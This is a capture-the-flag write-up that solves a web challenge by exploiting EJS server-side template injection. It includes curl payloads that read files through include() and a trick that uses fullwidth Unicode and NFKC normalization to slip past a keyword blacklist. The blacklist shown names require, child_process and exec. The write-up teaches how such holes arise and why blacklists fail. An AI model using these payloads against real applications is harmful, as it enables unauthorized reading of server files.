ARA CTF 7.0 - Ended of Justify Lylera Secret (WEB)

Challenge Overview

  • Challenge Name: Ended of Justify Lylera Secret
  • Category: Web
  • Points: 100 points
  • Description: “i have a secret. hopefully, it didn’t leak anything. My guard will protect it from Yui, so yeah.”
  • Provided Files / URL:

    • Remote challenge:
      http://challenge.ara-its.id:3333/

    • Provided files:

      • docker-compose.yml
      • Dockerfile
      • package.json
      • package-lock.json
      • index.js
      • flag.txt (fake flag)
  • Flag format: ARA7{...}

Goal

Exploit the web application to read the real flag.txt file on the server.

Initial Analysis

The site itself when you connect to is just displays some very simple text and nothing else:
template_render.png

From the provided local Dockerfile I can see that the flag file is copied into the application directory:

COPY flag.txt .

Assuming the real one on the remote server is the same, it means the target file is:

/app/flag.txt

The challenge name might hint at EJS (“Ended of Justify” -> E.J.S.). I had never used this before, so I had to look up up quite a few things about it. The short version is that it’s a template language, which lets you generate HTML using Javascript.
Examining the provided index.js reveals the full application logic — a single Express route that takes query parameters, runs a blacklist check, then renders an EJS template. The important part is:

const template = `
    <h2>Lylera secret, shhh!</h2>
    <p>Yui: Pst here ${query.msg || "Standby"}</p>
    <p>Note: nothing in here...</p>
`;
try {
  const html = ejs.render(template, query, query);
  res.send(html);
} catch (e) {
  res.send("Hee-, Omoshiroi tane. Sa... wakatta, watashiwa makedesuyone. Ganbaree!! Hora flag: " + e.toString());
}

The user-controlled msg parameter is inserted directly into an EJS template before rendering. This creates a Server-Side Template Injection (SSTI) vulnerability.

Example test:

http://challenge.ara-its.id:3333/?msg=<%=7*7%>

If the server returns 49, it confirms that arbitrary EJS expressions are executed.
test.png
Which indeed it does.

Another important point is that ejs.render(template, query, query) passes query as both the data and the options argument. So we can control it via query parameters in the URL.

The big problem however, is that before rendering, the server checks JSON.stringify(query).toLowerCase() against a strict blacklist:

const blacklist = [
  "require",
  "fs",
  "child_process",
  "exec",
  "spawn",
  "flag",
  "cat",
  "global",
  "process",
  "mainmodule",
  "this",
  "constructor",
  "proto",
  "return",
  "function",
  "class",
  "new",
  "import",
  " ",
  "+",
  "`",
  "[",
  "]",
  "\\",
  "char",
  "from",
  "join",
  "split",
  "reverse",
  "replace",
  "concat",
  "slice",
  "eval",
  "atob",
  "btoa",
  "buffer",
  "decode",
  "reflect",
  "object",
  "array",
  "symbol",
  "padend",
  "padstart",
  "unescape",
  "escape",
  "match",
  "search",
  "substring",
  "substr",
];

This blocks the word flag (so I can’t reference /app/flag.txt directly), as well as practically every string concatenation method in JavaScript: +, `, concat, join,slice, from, replace, [], \, and more.
So the challenge turns into bypassing this blacklist, which turned out to be a lot more difficult than I intially expected. It basically involved a whole lot of trial and error, for quite a long time until I had something working.

Tools used during analysis:

  • Browser
  • curl

Solution Path

Step 1 – SSTI and file reading

From the aforementioned use of:

?msg=<%=7*7%>

I know now that EJS expressions were executed server-side and thank to the Dockerfile, I know the flag is located at:

/app/flag.txt

So now let’s try a more complicated file read, namely the index.js. EJS’s include() can read files, but it requires the filename option to be set. Since query is the options object, I just add &filename=/app/index.js to the URL.

curl --get --data-urlencode "msg=<%-include('/app/index.js')%>" \
  "http://challenge.ara-its.id:3333/"

<% %> are EJS template delimiters. They tell the EJS template engine that the content between them should be interpreted as server-side JavaScript code, rather than normal HTML text. So anything between them is executed on the server when the template is rendered.
The above code does return the index.js, so it can read files.


Step 2 — Understanding the blacklist constraint

The obvious next step would be:

curl --get --data-urlencode "msg=<%-include('/app/flag.txt')%>" \
  "http://challenge.ara-its.id:3333/"

But this returns "What are you doing? There are nothing in here. Go away!" because the string flag appears in JSON.stringify(query).toLowerCase(). The challenge is: how do we pass the path /app/flag.txt to include() without the characters f-l-a-g appearing consecutively in the serialized query?


Step 3 — Dead ends

I tried plenty of way to bypass by looking up on the internet what could be done, here is a non-exhaustive list:

  • String concatenation: Passing the path in pieces (a=/app/fla, b=g.txt) and concatenating with +, concat, join, or template literals — all blocked.
  • Unicode escape sequences (\u0066): The backslash \ is blocked.
  • Hex escape sequences (\x67): Also uses backslash — blocked.
  • Double URL encoding (%2567): The filesystem receives the literal %67 byte, not g, so the file isn’t found.
  • EJS ext option: Since query is passed as EJS options, I tried setting ext=g.txt so that include('/app/fla') would append g.txt instead of .ejs. However, this didn’t work, for some reason it ignores the ext option, likely something to do with how it’s implemented.
  • Code blocks with var: JavaScript code blocks (<% var x=... %>) require whitespace between keywords. Regular spaces are blocked, and tab/newline characters get escaped by JSON.stringify into \t/\n, which trigger the backslash block.

Step 4 — The breakthrough: fullwidth Unicode + NFKC normalization

After plenty of trial and error, I found something that seemed to actually help, though I had never heard of it before. Basically, Unicode defines fullwidth Latin characters, so visually wider variants of ASCII letters that take up a different code point range (U+FF00–FF5E). importantly:
f = U+FF46
l = U+FF4C
a = U+FF41
g = U+FF47

Both f here look similar and mean the same thing but are stored as completely different numbers internally. When JSON.stringify() serializes these characters, they remain as their fullwidth forms. The lowercased result does not contain the ASCII substring flag, so the blacklist check passes.
NFKC stands for “Normalization Form Compatibility Composition”. What it does is essentially ask: “are there simpler, more standard versions of these characters?” If yes, it replaces them. So this converts fullwidth characters back to their standard ASCII equivalents: flagflag.

The plan:

  1. Pass the path /app/flag.txt (with fullwidth flag) as a query parameter a.
  2. In the EJS template, call a.normalize('NFKC') to convert it to /app/flag.txt.
  3. Pass the normalized result to include().

Neither normalize nor NFKC contain any blacklisted substrings.


Step 5 — Final payload

msg = <%-include(a.normalize('NFKC'))%>
a   = /app/flag.txt

The UTF-8 byte sequences for the fullwidth characters are: = %EF%BD%86, = %EF%BD%8C, = %EF%BD%81, = %EF%BD%87:

curl "http://challenge.ara-its.id:3333/?msg=%3C%25-include(a.normalize('NFKC'))%25%3E&a=%2Fapp%2F%EF%BD%86%EF%BD%8C%EF%BD%81%EF%BD%87.txt"

This then gives us the flag:
flag.png


Conclusion

  • EJS templates are vulnerable to Server-Side Template Injection if user input is rendered directly.
  • Blacklists fail because attackers can generate restricted strings dynamically.
  • Encoding tricks can bypass substring filters and you have to get creative.

The key takeaway from a defenders perspective is that blacklists are not very effective at preventing injection attacks.